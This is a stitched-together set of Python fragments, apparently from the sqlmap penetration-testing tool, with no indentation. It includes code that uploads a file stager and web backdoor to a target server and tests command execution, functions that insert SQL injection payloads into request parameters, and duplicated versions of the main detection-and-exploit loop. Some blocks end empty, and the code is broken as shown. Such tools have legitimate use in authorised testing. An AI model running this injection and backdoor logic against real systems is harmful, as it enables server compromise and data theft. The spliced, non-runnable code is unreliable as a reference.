uplPage = uplPage or ""
# Fall-back to UNION queries file upload technique
if "sqlmap file uploader" not in uplPage:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % localPath
infoMsg += "via UNION technique"
logger.info(infoMsg)
handle, filename = mkstemp()
os.fdopen(handle).close(
) # close low level handle (causing problems later)
with open(filename, "w+") as f:
_ = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"stager.%s_" % self.webApi))
_ = _.replace(
"WRITABLE_DIR",
localPath.replace('/', '\\\\')
if Backend.isOs(OS.WINDOWS) else localPath)
f.write(utf8encode(_))
self.unionWriteFile(filename,
self.webStagerFilePath,
"text",
forceCheck=True)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
else:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % localPath
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(
EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(
VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(
r'input type=hidden name=scriptsdir value="([^"]+)"',
uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName,
backdoorDirectory,
content=backdoorContent.replace(
"WRITABLE_DIR",
backdoorDirectory).replace(
"RUNCMD_EXE", _)):
self.webUpload(_,
backdoorDirectory,
filepath=os.path.join(
paths.SQLMAP_SHELL_PATH,
'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (
self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(
backdoorName,
posixToNtSlashes(localPath)
if Backend.isOs(OS.WINDOWS) else localPath,
content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName,
localPath)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl,
backdoorName)
self.webDirectory = localPath
self.webBackdoorFilePath = ntToPosixSlashes(
normalizePath("%s/%s" %
(localPath, backdoorName))).replace(
"//", "/").rstrip('/')
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
if conf.direct:
return self.payloadDirect(newValue)
retVal = ""
if kb.forceWhere:
where = kb.forceWhere
elif where is None and isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
if kb.injection.place is not None:
place = kb.injection.place
if kb.injection.parameter is not None:
parameter = kb.injection.parameter
paramString = conf.parameters[place]
paramDict = conf.paramDict[place]
origValue = getUnicode(paramDict[parameter])
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
paramString = origValue
if place == PLACE.URI:
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
else:
origValue = re.search(r"\w+\Z", origValue.split(BOUNDED_INJECTION_MARKER)[0]).group(0)
origValue = origValue[origValue.rfind('/') + 1:]
for char in ('?', '=', ':'):
if char in origValue:
origValue = origValue[origValue.rfind(char) + 1:]
elif place == PLACE.CUSTOM_POST:
paramString = origValue
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
origValue = origValue.split('>')[-1]
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)\s*(?P<result>[^"\[,]+\Z)', origValue)
else:
_ = extractRegexResult(r"(?s)(?P<result>[^\s<>{}();'\"&]+\Z)", origValue) or ""
origValue = _.split('=', 1)[1] if '=' in _ else ""
elif place == PLACE.CUSTOM_HEADER:
paramString = origValue
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
origValue = origValue[origValue.index(',') + 1:]
match = re.search(r"([^;]+)=(?P<value>[^;]+);?\Z", origValue)
if match:
origValue = match.group("value")
elif ',' in paramString:
header = paramString.split(',')[0]
if header.upper() == HTTP_HEADER.AUTHORIZATION.upper():
origValue = origValue.split(' ')[-1].split(':')[-1]
if value is None:
if where == PAYLOAD.WHERE.ORIGINAL:
value = origValue
elif where == PAYLOAD.WHERE.NEGATIVE:
if conf.invalidLogical:
match = re.search(r'\A[^ ]+', newValue)
newValue = newValue[len(match.group() if match else ""):]
_ = randomInt(2)
value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1)
elif conf.invalidBignum:
value = randomInt(6)
elif conf.invalidString:
value = randomStr(6)
else:
if newValue.startswith("-"):
value = ""
else:
value = "-%s" % randomInt()
elif where == PAYLOAD.WHERE.REPLACE:
value = ""
else:
value = origValue
newValue = "%s%s" % (value, newValue)
newValue = self.cleanupPayload(newValue, origValue)
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
_ = "%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString:
newValue = '"%s"' % newValue
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not "'%s'" % _ in paramString:
newValue = "'%s'" % newValue
newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
_ = "%s%s" % (origValue, BOUNDED_INJECTION_MARKER)
retVal = "%s=%s" % (parameter, paramString.replace(_, self.addPayloadDelimiters(newValue)))
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
else:
def _(pattern, repl, string):
retVal = string
match = None
for match in re.finditer(pattern, string):
pass
if match:
while True:
_ = re.search(r"\\g<([^>]+)>", repl)
if _:
try:
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
except IndexError:
break
else:
break
retVal = string[:match.start()] + repl + string[match.end():]
return retVal
if origValue:
regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
else:
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
if retVal == paramString and urlencode(parameter) != parameter:
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)
if retVal:
retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
return retVal
def payload(self,
place=None,
parameter=None,
value=None,
newValue=None,
where=None):
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
if conf.direct:
return self.payloadDirect(newValue)
retVal = ""
if where is None and isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
if kb.injection.place is not None:
place = kb.injection.place
if kb.injection.parameter is not None:
parameter = kb.injection.parameter
paramString = conf.parameters[place]
paramDict = conf.paramDict[place]
origValue = paramDict[parameter]
if place == PLACE.URI:
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
origValue = origValue[origValue.rfind('/') + 1:]
for char in ('?', '=', ':'):
if char in origValue:
origValue = origValue[origValue.rfind(char) + 1:]
elif place == PLACE.CUSTOM_POST:
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
origValue = extractRegexResult(r"(?s)(?P<result>(\W+\Z|\w+\Z))",
origValue)
if value is None:
if where == PAYLOAD.WHERE.ORIGINAL:
value = origValue
elif where == PAYLOAD.WHERE.NEGATIVE:
if conf.invalidLogical:
match = re.search(r'\A[^ ]+', newValue)
newValue = newValue[len(match.group() if match else ""):]
value = "%s%s AND %s=%s" % (origValue,
match.group() if match else "",
randomInt(2), randomInt(2))
elif conf.invalidBignum:
value = "%d.%d" % (randomInt(6), randomInt(1))
else:
if newValue.startswith("-"):
value = ""
else:
value = "-%s" % randomInt()
elif where == PAYLOAD.WHERE.REPLACE:
value = ""
else:
value = origValue
newValue = "%s%s" % (value, newValue)
newValue = self.cleanupPayload(newValue, origValue)
if place == PLACE.SOAP:
root = ET.XML(paramString)
iterator = root.getiterator(parameter)
for child in iterator:
child.text = self.addPayloadDelimiters(newValue)
retVal = ET.tostring(root)
elif place in (PLACE.URI, PLACE.CUSTOM_POST):
retVal = paramString.replace(
"%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR),
self.addPayloadDelimiters(newValue)).replace(
CUSTOM_INJECTION_MARK_CHAR, "")
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
retVal = paramString.replace(origValue,
self.addPayloadDelimiters(newValue))
else:
retVal = paramString.replace(
"%s=%s" % (parameter, origValue),
"%s=%s" % (parameter, self.addPayloadDelimiters(newValue)))
return retVal
def start():
"""
This function calls a function that performs checks on both URL
stability and all GET, POST, Cookie and User-Agent parameters to
check if they are dynamic and SQL injection affected
"""
if conf.direct:
initTargetEnv()
setupTargetEnv()
action()
return True
if conf.url and not any((conf.forms, conf.crawlDepth)):
kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))
if conf.configFile and not kb.targets:
errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target URL, list of targets or google dork"
logger.error(errMsg)
return False
if kb.targets and len(kb.targets) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
logger.info(infoMsg)
hostCount = 0
initialHeaders = list(conf.httpHeaders)
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
try:
if conf.checkInternet:
infoMsg = "[INFO] checking for Internet connection"
logger.info(infoMsg)
if not checkInternet():
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
dataToStdout(warnMsg)
while not checkInternet():
dataToStdout('.')
time.sleep(5)
dataToStdout("\n")
conf.url = targetUrl
conf.method = targetMethod.upper() if targetMethod else targetMethod
conf.data = targetData
conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders)
conf.httpHeaders.extend(targetHeaders or [])
initTargetEnv()
parseTargetUrl()
testSqlInj = False
if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]):
for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]):
paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0])
if paramKey not in kb.testedParams:
testSqlInj = True
break
else:
paramKey = (conf.hostname, conf.path, None, None)
if paramKey not in kb.testedParams:
testSqlInj = True
if testSqlInj and conf.hostname in kb.vulnHosts:
if kb.skipVulnHost is None:
message = "SQL injection vulnerability has already been detected "
message += "against '%s'. Do you want to skip " % conf.hostname
message += "further tests involving it? [Y/n]"
kb.skipVulnHost = readInput(message, default='Y', boolean=True)
testSqlInj = not kb.skipVulnHost
if not testSqlInj:
infoMsg = "skipping '%s'" % targetUrl
logger.info(infoMsg)
continue
if conf.multipleTargets:
hostCount += 1
if conf.forms and conf.method:
message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl)
else:
message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl)
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data is not None:
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "")
if conf.forms and conf.method:
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
continue
message += "\ndo you want to test this form? [Y/n/q] "
choice = readInput(message, default='Y').upper()
if choice == 'N':
continue
elif choice == 'Q':
break
else:
if conf.method != HTTPMETHOD.GET:
message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
conf.data = readInput(message, default=conf.data)
conf.data = _randomFillBlankFields(conf.data)
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
else:
if targetUrl.find("?") > -1:
firstPart = targetUrl[:targetUrl.find("?")]
secondPart = targetUrl[targetUrl.find("?") + 1:]
message = "Edit GET data [default: %s]: " % secondPart
test = readInput(message, default=secondPart)
test = _randomFillBlankFields(test)
conf.url = "%s?%s" % (firstPart, test)
parseTargetUrl()
else:
message += "\ndo you want to test this URL? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if choice == 'N':
dataToStdout(os.linesep)
continue
elif choice == 'Q':
break
infoMsg = "testing URL '%s'" % targetUrl
logger.info(infoMsg)
setupTargetEnv()
if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
continue
checkWaf()
if conf.identifyWaf:
identifyWaf()
if conf.nullConnection:
checkNullConnection()
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
and (kb.injection.place is None or kb.injection.parameter is None):
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
# NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable
checkStability()
# Do a little prioritization reorder of a testable parameter list
parameters = conf.parameters.keys()
# Order of testing list (first to last)
orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)
for place in orderList[::-1]:
if place in parameters:
parameters.remove(place)
parameters.insert(0, place)
proceed = True
for place in parameters:
# Test User-Agent and Referer headers only if
# --level >= 3
skip = (place == PLACE.USER_AGENT and conf.level < 3)
skip |= (place == PLACE.REFERER and conf.level < 3)
# Test Host header only if
# --level >= 5
skip |= (place == PLACE.HOST and conf.level < 5)
# Test Cookie header only if --level >= 2
skip |= (place == PLACE.COOKIE and conf.level < 2)
skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None))
skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None))
skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True))
if skip:
continue
if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
continue
if place not in conf.paramDict:
continue
paramDict = conf.paramDict[place]
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
for parameter, value in paramDict.items():
if not proceed:
break
kb.vainRun = False
testSqlInj = True
paramKey = (conf.hostname, conf.path, place, parameter)
if paramKey in kb.testedParams:
testSqlInj = False
infoMsg = "skipping previously processed %s parameter '%s'" % (paramType, parameter)
logger.info(infoMsg)
elif parameter in conf.testParameter:
pass
elif parameter == conf.rParam:
testSqlInj = False
infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter)
logger.info(infoMsg)
elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip:
testSqlInj = False
infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
logger.info(infoMsg)
elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)):
testSqlInj = False
infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
logger.info(infoMsg)
elif parameter == conf.csrfToken:
testSqlInj = False
infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter
logger.info(infoMsg)
# Ignore session-like parameters for --level < 4
elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
testSqlInj = False
infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter)
logger.info(infoMsg)
elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic:
check = checkDynParam(place, parameter, value)
if not check:
warnMsg = "%s parameter '%s' does not appear to be dynamic" % (paramType, parameter)
logger.warn(warnMsg)
if conf.skipStatic:
infoMsg = "skipping static %s parameter '%s'" % (paramType, parameter)
logger.info(infoMsg)
testSqlInj = False
else:
infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter)
logger.info(infoMsg)
kb.testedParams.add(paramKey)
if testSqlInj:
try:
if place == PLACE.COOKIE:
pushValue(kb.mergeCookies)
kb.mergeCookies = False
check = heuristicCheckSqlInjection(place, parameter)
if check != HEURISTIC_TEST.POSITIVE:
if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
logger.info(infoMsg)
continue
infoMsg = "testing for SQL injection on %s " % paramType
infoMsg += "parameter '%s'" % parameter
logger.info(infoMsg)
injection = checkSqlInjection(place, parameter, value)
proceed = not kb.endDetection
injectable = False
if getattr(injection, "place", None) is not None:
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
kb.falsePositives.append(injection)
else:
injectable = True
kb.injections.append(injection)
# In case when user wants to end detection phase (Ctrl+C)
if not proceed:
break
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
if not readInput(msg, default='N', boolean=True):
proceed = False
paramKey = (conf.hostname, conf.path, None, None)
kb.testedParams.add(paramKey)
if not injectable:
warnMsg = "%s parameter '%s' does not seem to be " % (paramType, parameter)
warnMsg += "injectable"
logger.warn(warnMsg)
finally:
if place == PLACE.COOKIE:
kb.mergeCookies = popValue()
if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
if kb.vainRun and not conf.multipleTargets:
errMsg = "no parameter(s) found for testing in the provided data "
errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
raise SqlmapNoneDataException(errMsg)
else:
errMsg = "all tested parameters do not appear to be injectable."
if conf.level < 5 or conf.risk < 3:
errMsg += " Try to increase values for '--level'/'--risk' options "
errMsg += "if you wish to perform more tests."
if isinstance(conf.tech, list) and len(conf.tech) < 5:
errMsg += " Rerun without providing the option '--technique'."
if not conf.textOnly and kb.originalPage:
percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage))
if kb.dynamicMarkings:
errMsg += " You can give it a go with the switch '--text-only' "
errMsg += "if the target page has a low percentage "
errMsg += "of textual content (~%.2f%% of " % percent
errMsg += "page content is text)."
elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
errMsg += " Please retry with the switch '--text-only' "
errMsg += "(along with --technique=BU) as this case "
errMsg += "looks like a perfect candidate "
errMsg += "(low textual content along with inability "
errMsg += "of comparison engine to detect at least "
errMsg += "one dynamic parameter)."
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
errMsg += " As heuristic test turned out positive you are "
errMsg += "strongly advised to continue on with the tests."
if conf.string:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--string' as perhaps the string you "
errMsg += "have chosen does not match "
errMsg += "exclusively True responses."
elif conf.regexp:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--regexp' as perhaps the regular "
errMsg += "expression that you have chosen "
errMsg += "does not match exclusively True responses."
if not conf.tamper:
errMsg += " If you suspect that there is some kind of protection mechanism "
errMsg += "involved (e.g. WAF) maybe you could try to use "
errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
else:
# Flush the flag
kb.testMode = False
_saveToResultsFile()
_saveToHashDB()
_showInjections()
_selectInjection()
if kb.injection.place is not None and kb.injection.parameter is not None:
if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
condition = readInput(message, default='Y', boolean=True)
else:
condition = True
if condition:
action()
except KeyboardInterrupt:
if conf.multipleTargets:
warnMsg = "user aborted in multiple target mode"
logger.warn(warnMsg)
message = "do you want to skip to the next target in list? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if choice == 'N':
return False
elif choice == 'Q':
raise SqlmapUserQuitException
else:
raise
except SqlmapSkipTargetException:
pass
except SqlmapUserQuitException:
raise
except SqlmapSilentQuitException:
raise
except SqlmapBaseException, ex:
errMsg = getSafeExString(ex)
if conf.multipleTargets:
_saveToResultsFile()
errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
logger.error(errMsg.lstrip(", "))
else:
logger.critical(errMsg)
return False
finally:
def extractPayload(self, inpStr):
"""
Extracts payload from inside of the input string
"""
return extractRegexResult("(?s)%s(?P<result>.*?)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), inpStr)
def start():
"""
This function calls a function that performs checks on both URL
stability and all GET, POST, Cookie and User-Agent parameters to
check if they are dynamic and SQL injection affected
"""
if not conf.start:
return False
if conf.direct:
initTargetEnv()
setupTargetEnv()
action()
return True
if conf.url and not any([conf.forms, conf.crawlDepth]):
kb.targetUrls.add((conf.url, conf.method, conf.data, conf.cookie))
if conf.configFile and not kb.targetUrls:
errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target url, list of targets or google dork"
logger.error(errMsg)
return False
if kb.targetUrls and len(kb.targetUrls) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
logger.info(infoMsg)
hostCount = 0
cookieStr = ""
for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
try:
conf.url = targetUrl
conf.method = targetMethod
conf.data = targetData
conf.cookie = targetCookie
initTargetEnv()
parseTargetUrl()
testSqlInj = False
if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]):
for parameter in re.findall(
r"([^=]+)=([^%s]+%s?|\Z)" % (conf.pDel or ";", conf.pDel or ";"), conf.parameters[PLACE.GET]
):
paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0])
if paramKey not in kb.testedParams:
testSqlInj = True
break
else:
paramKey = (conf.hostname, conf.path, None, None)
if paramKey not in kb.testedParams:
testSqlInj = True
testSqlInj &= (conf.hostname, conf.path, None, None) not in kb.testedParams
if not testSqlInj:
infoMsg = "skipping '%s'" % targetUrl
logger.info(infoMsg)
continue
if conf.multipleTargets:
hostCount += 1
if conf.forms:
message = "[#%d] form:\n%s %s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl)
else:
message = "url %d:\n%s %s%s" % (
hostCount,
conf.method or HTTPMETHOD.GET,
targetUrl,
" (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "",
)
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data:
message += "\nPOST data: %s" % urlencode(conf.data) if conf.data else ""
if conf.forms:
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
continue
message += "\ndo you want to test this form? [Y/n/q] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
if conf.method == HTTPMETHOD.POST:
message = "Edit POST data [default: %s]%s: " % (
urlencode(conf.data) if conf.data else "None",
" (Warning: blank fields detected)"
if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data)
else "",
)
conf.data = readInput(message, default=conf.data)
conf.data = __randomFillBlankFields(conf.data)
conf.data = (
urldecode(conf.data)
if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data
else conf.data
)
elif conf.method == HTTPMETHOD.GET:
if targetUrl.find("?") > -1:
firstPart = targetUrl[: targetUrl.find("?")]
secondPart = targetUrl[targetUrl.find("?") + 1 :]
message = "Edit GET data [default: %s]: " % secondPart
test = readInput(message, default=secondPart)
test = __randomFillBlankFields(test)
conf.url = "%s?%s" % (firstPart, test)
parseTargetUrl()
elif test[0] in ("n", "N"):
continue
elif test[0] in ("q", "Q"):
break
elif conf.realTest:
logger.info(message)
else:
message += "\ndo you want to test this url? [Y/n/q]"
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
pass
elif test[0] in ("n", "N"):
continue
elif test[0] in ("q", "Q"):
break
infoMsg = "testing url %s" % targetUrl
logger.info(infoMsg)
setupTargetEnv()
if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
continue
if conf.checkWaf:
checkWaf()
if conf.nullConnection:
checkNullConnection()
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (
kb.injection.place is None or kb.injection.parameter is None
):
if not conf.string and not conf.regexp and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
# NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable
checkStability()
# Do a little prioritization reorder of a testable parameter list
parameters = conf.parameters.keys()
# Order of testing list (last to first)
orderList = (PLACE.URI, PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
for place in orderList:
if place in parameters:
parameters.remove(place)
parameters.insert(0, place)
proceed = True
for place in parameters:
# Test User-Agent and Referer headers only if
# --level >= 3
skip = place == PLACE.UA and conf.level < 3
skip |= place == PLACE.REFERER and conf.level < 3
# Test Host header only if
# --level >= 5
skip |= place == PLACE.HOST and conf.level < 5
# Test Cookie header only if --level >= 2
skip |= place == PLACE.COOKIE and conf.level < 2
skip |= place == PLACE.UA and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)
skip |= place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None)
skip |= place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None)
skip &= not (place == PLACE.UA and intersect(USER_AGENT_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True))
if skip:
continue
if not conf.paramDict.has_key(place):
continue
paramDict = conf.paramDict[place]
for parameter, value in paramDict.items():
if not proceed:
break
kb.vainRun = False
testSqlInj = True
paramKey = (conf.hostname, conf.path, place, parameter)
if paramKey in kb.testedParams:
testSqlInj = False
infoMsg = "skipping previously processed %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
elif parameter in conf.testParameter:
pass
elif parameter == conf.rParam:
testSqlInj = False
infoMsg = "skipping randomizing %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
elif parameter in conf.skip:
testSqlInj = False
infoMsg = "skipping %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
# Ignore session-like parameters for --level < 4
elif conf.level < 4 and parameter.upper() in IGNORE_PARAMETERS:
testSqlInj = False
infoMsg = "ignoring %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
elif conf.realTest:
pass
elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
if not checkDynParam(place, parameter, value):
warnMsg = "%s parameter '%s' appears to be not dynamic" % (place, parameter)
logger.warn(warnMsg)
else:
infoMsg = "%s parameter '%s' is dynamic" % (place, parameter)
logger.info(infoMsg)
kb.testedParams.add(paramKey)
if testSqlInj:
check = heuristicCheckSqlInjection(place, parameter)
if not check:
if (
conf.smart
or conf.realTest
and not simpletonCheckSqlInjection(place, parameter, value)
):
infoMsg = "skipping %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
continue
infoMsg = "testing for SQL injection on %s " % place
infoMsg += "parameter '%s'" % parameter
logger.info(infoMsg)
injection = checkSqlInjection(place, parameter, value)
proceed = not kb.endDetection
if injection is not None and injection.place is not None:
kb.injections.append(injection)
# In case when user wants to end detection phase (Ctrl+C)
if not proceed:
break
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
test = readInput(msg, default="N")
if test[0] not in ("y", "Y"):
proceed = False
paramKey = (conf.hostname, conf.path, None, None)
kb.testedParams.add(paramKey)
else:
